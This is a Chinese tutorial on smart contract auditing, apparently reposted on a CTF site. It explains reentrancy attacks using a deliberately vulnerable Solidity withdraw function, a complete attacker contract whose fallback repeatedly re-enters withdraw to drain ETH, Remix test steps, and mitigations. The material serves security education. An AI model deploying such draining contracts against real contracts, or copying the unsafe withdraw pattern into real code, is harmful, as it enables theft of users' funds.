智能合约审计-重入攻击

区块链安全 2年前 (2022) admin
412 0 0

描述:漏洞合约中某个函数中,使用call()方法发送eth,若eth的接收者为一个合约地址,则会触发该合约的fallback()函数。若该合约是攻击者的恶意合约,攻击者可以在fallback()函数中重新调用漏洞合约的上述函数,导致重入攻击

核心问题:重要的合约变量在“重入”的过程中没有被修改,从而绕过了限制

Fallback函数

概念: 回退函数,是合约里的特殊无名函数,有且仅有一个。它在合约调用没有匹配到函数签名,或者调用没有带任何数据时被自动调用。

触发场景:

  • address.send(ether_to_send)
  • address.call().value(ether_to_send)

漏洞流程

智能合约审计-重入攻击

漏洞合约分析

pragma solidity ^0.4.24;

contract ReentrancyGame {

  mapping (address => uint) public credit; //credit表示存储用户的余额

  event Deposit(address _who, uint value);  //Deposit表示充值
  event Withdraw(address _who, uint value);
    
  function deposit() payable public returns (bool) {
    credit[msg.sender] += msg.value; //credit调用deposit()函数进行充值使用msg.value进行ETH发送
    emit Deposit(msg.sender, msg.value);
    return true;
  }
    
  function withdraw(uint amount) public returns (bool) { //withdraw提币函数
    if (credit[msg.sender]>= amount) {
      msg.sender.call.value(amount)();
      credit[msg.sender]-=amount;
      emit Withdraw(msg.sender, amount);
      return true;
    }
    return false;
  }  

  function creditOf(address to) public returns (uint) {
    return credit[to];
  }
}

漏洞点:从提币开始,首先校验credit是否大于amount(本次提现的ETH),然后使用call.value进行转账,然后再扣除余额。这里漏洞点就出在我们先使用call.value对用户进行转账,然后再减少余额。就是因为这种情况,攻击者可以反复进行withdraw(),在进入withdraw()之前,第一步的校验仍然有效,在进入withdraw()之后,credit(余额)并没有减少,第一步的校验仍然有效,攻击者才能源源不断的从合约中提取ETH

攻击者合约

pragma solidity ^0.4.24;

contract ReentrancyGame {

  mapping (address => uint) public credit;

  event Deposit(address _who, uint value);
  event Withdraw(address _who, uint value);
    
  function deposit() payable public returns (bool) {
    credit[msg.sender] += msg.value;
    emit Deposit(msg.sender, msg.value);
    return true;
  }
    
  function withdraw(uint amount) public returns (bool) {
    if (credit[msg.sender]>= amount) {
      msg.sender.call.value(amount)();
      credit[msg.sender]-=amount;
      emit Withdraw(msg.sender, amount);
      return true;
    }
    return false;
  }  

  function creditOf(address to) public returns (uint) {
    return credit[to];
  }
  
  function checkBalance() public constant returns (uint){
      return this.balance;
  }
}

contract ReentrancyAttack {   //调用attack()函数对漏洞合约进行远远不断的偷取ETH
  ReentrancyGame public regame;
  address owner;

  function ReentrancyAttack (ReentrancyGame addr) payable { 
    owner = msg.sender;
    regame = addr;
  }

  function attack() public returns (bool){
    regame.deposit.value(1)();
    regame.withdraw(1);
    return true;
  }
  
  function geteth() public returns (bool){ 
    owner.transfer(this.balance); 
    return true;
  }

  function checkBalance() public constant returns (uint){
      return this.balance;
  }

  function() public payable { 
    regame.withdraw(1); 
  }
}

使用Remix进行调试

  • 首先对合约进行编译(Current version设置为0.4X,Auto compile,Enable Optimization全部勾上。编译完成后会出现2个合约分别为ReentrancyAttack,ReentrancyGame)
  • 首先部署ReentrancyGame(漏洞合约),这里Account设置一个受害者账户(0xca3…a733c),然后点击Deploy部署完成后漏洞合约,这里还是需要充值一定数量的ETH便于实验观察(Value设置为100 wei ETH点击deposit,然后点击checkBalance查看当前受害者地址为100 wei ETH,这里受害者合约ReentrancyGame就部署完成了)
  • 攻击者合约部署ReentrancyAttack(攻击者合约),由于漏洞合约地址在提现的时候需要一定的ETH,所以这里在设置ReentrancyAttack合约的时候需要设置Value为5 wei ETH,Deploy设置为ReetrancyGame合约地址(注:这里是合约地址并不是账户地址)Account换一个账户(0x147…c160c)点击Deploy即可部署攻击者合约,部署完成后点击checkBalance查看当前账户余额为5 wei ETH,说明攻击者合约部署完成了
  • 漏洞攻击-点击ReentrancyAttack(攻击者合约)attack即可攻击。攻击的过程中由于一直通过withdraw()函数进行循环提现,过程有点缓慢,等gas消耗完毕既可以查看(checkBalance)攻击者合约账号余额为51 wei ETH,再次查看ReentrancyGame(漏洞合约)账户余额为54 wei ETH,漏洞利用成功

    漏洞预防

  1. 在将 Ether 发送给外部合约时使用内置的 transfer() 函数 。transfer转账功能只发送 2300 gas 不足以使目的地址/合约调用另一份合约(即重入发送合约)。
  2. 引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。
  3. 将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为 检查效果交互(checks-effects-interactions) 模式。

 

 

原文始发于毕竟话少:智能合约审计-重入攻击

版权声明:admin 发表于 2022年10月15日 上午8:30。
转载请注明:智能合约审计-重入攻击 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...